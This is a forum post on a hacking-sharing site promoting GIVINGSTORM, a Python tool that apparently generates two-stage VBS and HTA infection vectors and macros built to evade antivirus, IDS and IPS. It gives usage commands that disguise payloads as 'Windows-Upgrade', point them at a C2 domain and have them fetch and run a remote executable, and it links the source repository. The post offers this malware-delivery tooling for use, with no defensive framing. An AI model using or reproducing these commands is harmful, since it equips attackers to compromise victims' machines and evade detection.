# GIVINGSTORM | Infection Vector That Bypasses AV, IDS, And IPS

**URL:** <https://onehack.st/t/givingstorm-infection-vector-that-bypasses-av-ids-and-ips/95975>\
**Category:** Tools & Scripts\
**Tags:** hacking, design\
**Created:** [July 11, 2020, 1:04pm UTC](https://onehack.st/t/givingstorm-infection-vector-that-bypasses-av-ids-and-ips/95975 "2020-07-11T13:04:36Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\
**Post date:** [July 11, 2020, 1:04pm UTC](https://onehack.st/t/givingstorm-infection-vector-that-bypasses-av-ids-and-ips/95975/1 "2020-07-11T13:04:36Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/1/d/1db827d5eb92dec289abfa07c0b58ce3f9d725c3.png)

The beginnings of a C2 framework. Currently without all the C2 stuff so far. Generates a dual stage VBS infection vector, and a dual stage HTA infection vector. The variables take into account C2 addresses, Koadic/Empire payloads, and a few delivery mechanisms. The payload files are output to an aptly named directory “Payloads” that is created if not already present.

**Installation & Usage**  
GIVINGSTORM is a breeze to use. Simply clone the directory, and cd into it.  
For the HTA payload: python3 GIVINGSTORM.py -n Windows-Upgrade -p b64encodedpayload -c [amazon.com/c2/domain](http://amazon.com/c2/domain)

**HTA Example**

For the Macro Subroutine: python3 GIVINGSTORM.py -n Windows-Upgrade -e [amazon.com/final/payload.exe](http://amazon.com/final/payload.exe)

**Macro Example**

 ![image](https://onehack.st/uploads/default/original/3X/9/1/910fcbc7e0ad1183334a208fabefbc71547eb5b4.png)

## GitHub:

[https://github.com/nins3i/GIVINGSTORM](https://github.com/nins3i/GIVINGSTORM)